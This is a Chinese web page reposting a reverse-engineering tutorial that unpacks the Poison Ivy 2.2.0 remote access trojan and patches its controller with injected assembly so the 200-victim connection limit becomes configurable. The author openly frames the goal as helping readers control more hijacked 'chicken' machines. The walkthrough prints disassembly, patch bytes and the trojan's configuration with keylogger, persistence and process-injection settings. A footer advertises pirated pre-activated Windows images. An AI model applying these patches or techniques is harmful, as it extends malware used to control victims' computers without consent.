GHOST系统之家 - Windows系统光盘下载网站!
当前位置:GHOST系统之家>电脑问题 > 当当养“鸡”专业户:pi2.2.0脱壳及连接200限制去除逆向工程

当当养“鸡”专业户:pi2.2.0脱壳及连接200限制去除逆向工程

来源:Ghost系统之家浏览:时间:2022-09-10 21:19:33

【文章标题】: 当当养“鸡”专业户!

【文章作者】: KOOK1991

【作者邮箱】: WeKnow@163.com

【作者QQ号】: 371161181

【软件名称】: Poison Ivy 2.2.0

【下载地址】: http://www.poisonivy-rat.com/

【加壳方式】: 未知

【编写语言】: Borland Delphi 6.0 - 7.0

【使用工具】: OllyICE、LoadPE、ImportREC、Topo

【操作平台】: Win9x/NT/2000/XP

【软件介绍】: 国外知名木马,服务端才几KB,强!

【作者声明】: 我是菜鸟我怕谁!!!

--------------------------------------------------------------------------------

【详细过程】

初中的时候一直认为拥有几千台肉鸡才叫“黑客”。眨眼间,两三年过去了,终于理解了“黑客”的真意,决心来看雪好

好学学。无奈高手太多,使我无地自容,近来偶有感想,便拿出来显摆显摆……

Poison Ivy,知道吧?很有名气的木马,可就不知道为啥在国内火不起来,但我挺爱用。(受不了一些哥们,这么小的木

马不用,成天背着几百KB的鸽子满天飞……)好东西总有限制,Poison Ivy 2.2.0也不例外,限制最大连接数为200。

于是我抄起了家伙,上路了……

首先,阐述一下这回的破解目标:

对Poison Ivy 2.2.0进行逆向工程,增加自定义最大连接数的功能,以方便我们使用。让更多的人成为养“鸡”专业户,

从而脱贫、致富、奔小康!!!!!!

用PEiD查不出来壳,无奈。直接用OllyICE上,停在入口点:

005A3060 >60pushad

005A3061E8 00000000 call005A3066

005A30665Dpop ebp

005A306781ED 725B4000 sub ebp, 00405B72

005A306D64:A1 30000000mov eax, dword ptr fs:[30]

005A30730FB640 02 movzx eax, byte ptr [eax 2]

005A30770AC0oral, al

005A307974 04 jeshort 005A307F

005A307B33C0xor eax, eax

经验太少,看不出是什么壳:-(直接上。走过005A3060,直接用ESP定律“HE 0012FFA4”,F9运行,卡到这里:

005A371150pusheax; PI.005A36C0

005A371233C0xor eax, eax

005A371464:FF30 pushdword ptr fs:[eax]

005A371764:8920 mov dword ptr fs:[eax], esp

005A371AEB 01 jmp short 005A371D

005A371C8700xchgdword ptr [eax], eax

005A371E0000add byte ptr [eax], al

005A37200000add byte ptr [eax], al

005A37220000add byte ptr [eax], al

005A37240000add byte ptr [eax], al

F8一路向前

005A371D0000add byte ptr [eax], al ; 访问违规:正在写入到[00000000]

Shift F8,来到:

7C92EAF08B1C24mov ebx, dword ptr [esp]

7C92EAF351pushecx

7C92EAF453pushebx

7C92EAF5E8 C78C0200 call7C9577C1

7C92EAFA0AC0oral, al

7C92EAFC74 0C jeshort 7C92EB0A

7C92EAFE5Bpop ebx

7C92EAFF59pop ecx

7C92EB006A 00 push0

7C92EB0251pushecx

7C92EB03E8 11EBFFFF callZwContinue

7C92EB08EB 0B jmp short 7C92EB15

7C92EB0A5Bpop ebx

7C92EB0B59pop ecx

7C92EB0C6A 00 push0

7C92EB0E51pushecx

7C92EB0F53pushebx

7C92EB10E8 3DF7FFFF callZwRaiseException

Alt F9返回:

00519B3300B0 97510055 add byte ptr [eax 55005197], dh

00519B398BECmov ebp, esp ; 来到这里

00519B3B83C4 F0 add esp, -10

00519B3EB8 D8975100 mov eax, 005197D8

00519B43E8 1CD0EEFF call00406B64

00519B48A1 ACCF5100 mov eax, dword ptr [51CFAC]

00519B4D8B00mov eax, dword ptr [eax]

00519B4FE8 1822F7FF call0048BD6C

00519B54A1 ACCF5100 mov eax, dword ptr [51CFAC]

00519B598B00mov eax, dword ptr [eax]

00519B5BBA 989B5100 mov edx, 00519B98; ASCII "Poison Ivy"

00519B60E8 FF1DF7FF call0048B964

00519B658B0D 90CE5100 mov ecx, dword ptr [51CE90]; PI.0051F368

00519B6BA1 ACCF5100 mov eax, dword ptr [51CFAC]

00519B708B00mov eax, dword ptr [eax]

00519B728B15 E8FB5000 mov edx, dword ptr [50FBE8]; PI.0050FC34

00519B78E8 0722F7FF call0048BD84

哈哈,来到OEP,很熟悉的Delphi开头。用LoadPE修正镜像大小,完全Dump。再打开ImportREC,OEP填上00119B38,自动查

找INT -> 获取输入表 -> Fix Dump,脱壳OK~~~~~

为了保险起见,再用PEiD查一下脱壳后的文件――“Borland Delphi 6.0 - 7.0”,呵呵,没错,就是你!!

用Dede打开脱壳后的Poison Ivy,Dede卡住了,看来作者不是吃素的。

只好用OllyICE载入脱壳后的Poison Ivy -> Ultra String Reference -> Find ASCII。看了半天,终于找到了一句有用的

String:

Ultra String Reference, 条目 1813

Address=0051170A

Disassembly=mov edx, 00511844

Text String=please assign a password for the connection:

Ultra String Reference, 条目 1814

Address=0051170F

Disassembly=mov eax, 0051187C

Text String=new connection

直接双击来到这里

005116CD|.50pusheax; /Parm

005116CE|.68 7E660480 push8004667E ; |Cmd = FIONBIO

005116D3|.56pushesi; |Socket

005116D4|.E8 D7BDF7FF call ; \ioctlsocket

005116D9|.81BB 3C070000>cmp dword ptr [ebx 73C], 0C8

005116E3|.7C 0B jlshort 005116F0

005116E5|.56pushesi; /Socket

005116E6|.E8 8DBDF7FF call; \closesocket

005116EB|.E9 F7000000 jmp 005117E7

005116F0|>8D45 F4 lea eax, dword ptr [ebp-C]

005116F3|.8B15 ACF35100 mov edx, dword ptr [51F3AC]

005116F9|.E8 0632EFFF call00404904

005116FE|.803D 9DF35100>cmp byte ptr [51F39D], 0

00511705|.74 12 jeshort 00511719

00511707|.8D4D F4 lea ecx, dword ptr [ebp-C]

0051170A|.BA 44185100 mov edx, 00511844;please assign a password for the connection:

0051170F|.B8 7C185100 mov eax, 0051187C;new connection

00511714|.E8 AB41F2FF call004358C4

00511719|>8D4D C8 lea ecx, dword ptr [ebp-38]

哈哈,众里寻他千百度,蓦然回首――小样,你在这啊:

005116D9|.81BB 3C070000 C8000000 cmp dword ptr [ebx 73C], 0C8 ; 比较当前连接数和0C8(就是200嘛)

005116E3|.7C 0Bjlshort 005116F0 ; 小于200则跳

005116E5|.56 pushesi; /Socket

005116E6|.E8 8DBDF7FFcall; \closesocket 断开连接

可见在005116DF处的C8000000就是最大连接数,记住这个地址,后面有用的哦。

找到了判断最大连接数的地方,可以直接把005116E3改成JMP,但有一点,假如你肉鸡太多,岂不被DDos了?看来这点还不

够,我们还得控制最大连接数,也就是让程序随我们的意愿来自动修改005116DF处的最大连接数。考虑了半天,我决定用

Poison Ivy的配置文件Poison Ivy.ini来保存欲设的最大连接数,以便我们在具体应用时方便地修改。

先看看Poison Ivy.ini的内容吧!

[Disclaimer]; 软件的启动模式(是否显示使用协议)

Show=1

[Placement] ; 软件的窗口及控件的大小设置

MaximizedState=0

Top=491

Left=330

Width=744

Height=231

ConTop=145

ConLeft=110

ConWidth=650

ConHeight=380

Column0=50

Column1=90

Column2=90

Column3=80

Column4=80

Column5=60

Column6=45

Column7=63

Column8=67

Column9=50

Column10=57

DataTransfers=0

[Settings] ; 很明显是有关控制端的配置信息,就把最大连接数存这吧

ScrSize=75

ScrBits=24

ShareTo=

ShareToSocks=

ShareSocks=0

Port=3460

Password=admin

BalloonTip=1

MinimizeTray=1

CloseTray=0

Prompt=0

PromptExit=0

SimTransfers=2

SDrounds=3

Cache=1

WindowColor=1

TimestampColor=1

KeynameColor=1

WindowName=008000

Timestamp=0000FF

Keyname=808080

PromptDelete=1

AutoRefresh=0

TreeLayout=1

AutoLookUpdates=1

AutoRemove=1

HidePW=0

[Connection]; 配置被控端的信息1

DNS=127.0.0.1:3460,

ID=

Password=admin

Socks4=0

S4DNS=

[Startup] ; 配置被控端的信息2

Startup=0

ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}

[Installation]

Filename=

Copy=0

CopySystem=1

Copywindows=0

Melt=0

Keylogger=0

Persistence=0

[Advanced]; 配置被控端的信息3

ProcessMutex=)!VoqA.I4

KeyLoggerMutex=VLC9032Ca

CustomInject=0

CustomInjectProc=msnmsgr.exe

我就决定在[Settings]里添加一个子项“Crack”,用它来控制最大连接数,OK,开工!!!!

要在配置文件中添加最大连接数的信息,最重要的就是读出最大连接数,那我没就必须找到程序是如何读配置文件的。重

新回到OllyICE中看String:

Ultra String Reference, 条目 1931

Address=00514609

Disassembly=mov edx, 00514C28

Text String=settings

Ultra String Reference, 条目 2070

Address=0051591E

Disassembly=mov edx, 00516828

Text String=settings

其中有很多的Settings,我只选了两处,因为其他的Settings都分布在这两处附近:

00514609处:

005145EB|.50pusheax

005145EC|.B9 5C4C5100 mov ecx, 00514C5C;sharetosocks

005145F1|.BA 284C5100 mov edx, 00514C28;settings

005145F6|.8B45 FC mov eax, dword ptr [ebp-4]

005145F9|.8B30mov esi, dword ptr [eax]

005145FB|.FF56 04 calldword ptr [esi 4]

005145FE|.A0 A7F35100 mov al, byte ptr [51F3A7]

00514603|.50pusheax

00514604|.B9 744C5100 mov ecx, 00514C74;sharesocks

00514609|.BA 284C5100 mov edx, 00514C28;settings

0051460E|.8B45 FC mov eax, dword ptr [ebp-4]

00514611|.8B30mov esi, dword ptr [eax]

00514613|.FF56 14 calldword ptr [esi 14]

00514616|.A1 7CF35100 mov eax, dword ptr [51F37C]

0051461B|.50pusheax

0051461C|.B9 884C5100 mov ecx, 00514C88;port

00514621|.BA 284C5100 mov edx, 00514C28;settings

00514626|.8B45 FC mov eax, dword ptr [ebp-4]

00514629|.8B30mov esi, dword ptr [eax]

0051462B|.FF56 0C calldword ptr [esi C]

0051462E|.A1 ACF35100 mov eax, dword ptr [51F3AC]

00514633|.50pusheax

00514634|.B9 984C5100 mov ecx, 00514C98;password

00514639|.BA 284C5100 mov edx, 00514C28;settings

0051463E|.8B45 FC mov eax, dword ptr [ebp-4]

00514641|.8B30mov esi, dword ptr [eax]

00514643|.FF56 04 calldword ptr [esi 4]

00514646|.A0 9AF35100 mov al, byte ptr [51F39A]

0051591E处:

005158F8 .50pusheax

005158F9 .B9 5C685100 mov ecx, 0051685C;sharetosocks

005158FE .BA 28685100 mov edx, 00516828;settings

00515903 .8B45 F8 mov eax, dword ptr [ebp-8]

00515906 .8B18mov ebx, dword ptr [eax]

00515908 .FF13calldword ptr [ebx]

0051590A .8B55 A4 mov edx, dword ptr [ebp-5C]

0051590D .B8 B4F35100 mov eax, 0051F3B4

00515912 .E8 A9EFEEFF call004048C0

00515917 .6A 00 push0

00515919 .B9 74685100 mov ecx, 00516874;sharesocks

0051591E .BA 28685100 mov edx, 00516828;settings

00515923 .8B45 F8 mov eax, dword ptr [ebp-8]

00515926 .8B18mov ebx, dword ptr [eax]

00515928 .FF53 10 calldword ptr [ebx 10]

0051592B .A2 A7F35100 mov byte ptr [51F3A7], al

00515930 .68 840D0000 push0D84

00515935 .B9 88685100 mov ecx, 00516888;port

0051593A .BA 28685100 mov edx, 00516828;settings

0051593F .8B45 F8 mov eax, dword ptr [ebp-8]

00515942 .8B18mov ebx, dword ptr [eax]

00515944 .FF53 08 calldword ptr [ebx 8]

00515947 .A3 7CF35100 mov dword ptr [51F37C], eax

0051594C .68 98685100 push00516898

00515951 .8D45 A0 lea eax, dword ptr [ebp-60]

00515954 .50pusheax

00515955 .B9 A8685100 mov ecx, 005168A8;password

0051595A .BA 28685100 mov edx, 00516828;settings

0051595F .8B45 F8 mov eax, dword ptr [ebp-8]

00515962 .8B18mov ebx, dword ptr [eax]

00515964 .FF13calldword ptr [ebx]

00515966 .8B55 A0 mov edx, dword ptr [ebp-60]

具体谁是程序开始运行时读取Poison Ivy.ini的地方,不知道。分别下断点,0051591E在开始时断下来,00514609在结束

时断下来,可见0051591E是读取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了这些,继续!!

分析一下,程序是如何读取Poison Ivy.ini里的内容的:

00515930 .68 840D0000 push0D84 ;压入默认端口

00515935 .B9 88685100 mov ecx, 00516888;portINI中保存端口信息的子项名称

0051593A .BA 28685100 mov edx, 00516828;settingsINI中保存端口信息的项名称

0051593F .8B45 F8 mov eax, dword ptr [ebp-8]

00515942 .8B18mov ebx, dword ptr [eax]

00515944 .FF53 08 calldword ptr [ebx 8];进行读取

00515947 .A3 7CF35100 mov dword ptr [51F37C], eax;把读取的值保存到51F37C

00515930处之所以要把默认端口压入,是因为程序怕在读不出配置文件中port这一子项时,使用0来做端口导致出错,可

见“push0D84”的作用是让程序在00515944读不出配置文件该项时采用备用值0D84。

好了,打开Topo差入100字节代码空间,(本人懒得去找了可用空间了,还是用工具吧,100字节肯定够用。)Topo中显示

100字节加到了005A3A33,下面开始添加代码:

首先,用OllyICE二进制编辑005A3A33,加入字符串“Crack”。(别忘了在“Crack”后加“00”。)

接着,在005A3A39处添加我们的代码:

005A3A3968 840D0000 push0C8; 压入默认最大连接数,保存备用值200

005A3A3EB9 333A5A00 mov ecx, 005A3A33; ASCII "Crack" INI中保存最大连接数的子项名称

005A3A43BA 28685100 mov edx, 00516828; ASCII "Settings"INI中保存最大连接数的项名称

005A3A488B45 F8 mov eax, dword ptr [ebp-8]

005A3A4B8B18mov ebx, dword ptr [eax]

005A3A4DFF53 08 calldword ptr [ebx 8]; 进行读取

005A3A50A3 DF165100 mov dword ptr [5116DF], eax; 把读取的最大连接数保存到上文提到的005116DF处,替换原来的最大连接数

方便起见,就让程序从00515930处跳到我们这里吧,即:

00515930 .68 840D0000 push0D84

改为:

00515930 .- E9 04E10800 jmp 005A3A39

为了使程序正常运行我们还要在005A3A50的下面加入如下代码:

005A3A5568 840D0000 push0D84 ; 把00515930原有功能修改了,最后还是要加上的,所谓“有借有还,再借不难”

005A3A5A- E9 D61EF7FF jmp 00515935 ; 回归原位,这就相当于台湾再咋拗,到头还是得回归咱中国,呵呵:-)

OK,用OllyICE保存EXE文件,让我来测试一下……

打开Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一个也连接不上了。把Crack=0改为10000,哈哈,肉鸡出现了!!

再把Crack=0删除,哦~~~~,肉鸡又出现了!!!!!成功!!!!!

最后,给有对本文兴趣的朋友留个小作业:继续对00514609处进行逆向工程,使程序可以在关闭时自动保存当前的最大连

接数……OK,就到这把!!!

标签:

推荐系统

  • 番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    番茄花园 Windows 10 32位极速企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活

  • 新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载

    新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    新萝卜家园电脑城专用系统 Windows10 x86企业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程

  • 笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(32位) ISO镜像快速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    笔记本台式机专用系统 Windows 10 32位企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过

  • 笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(64位) 提供下载

    笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(64位) 提供下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    笔记本台式机专用系统 Windows10 64专业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动

  • 雨林木风 Windows10 x64 企业装机版 版本1903 2022年7月(64位) ISO镜像高速下载

    雨林木风 Windows10 x64 企业装机版 版本1903 2022年7月(64位) ISO镜像高速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    新雨林木风 Windows10 x64 企业装机版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活

  • 深度技术 Windows 10 x64 企业版 电脑城装机版 版本1903 2022年7月(64位) 高速下载

    深度技术 Windows 10 x64 企业版 电脑城装机版 版本1903 2022年7月(64位) 高速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    深度技术 Windows 10 x64 企业TLSB 电脑城装机版2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程

  • 电脑公司 装机专用系统Windows10 x64 企业版2022年7月(64位) ISO镜像高速下载

    电脑公司 装机专用系统Windows10 x64 企业版2022年7月(64位) ISO镜像高速下载

    语言:中文版系统大小:3.98GB系统类型:Win10

    电脑公司 装机专用系统 Windows10 x64 企业TLSB版2022年7月一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过

  • 新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载

    新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载

    语言:中文版系统大小:3.15GB系统类型:Win10

    新雨林木风 Windows10 x86 专业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活系统,无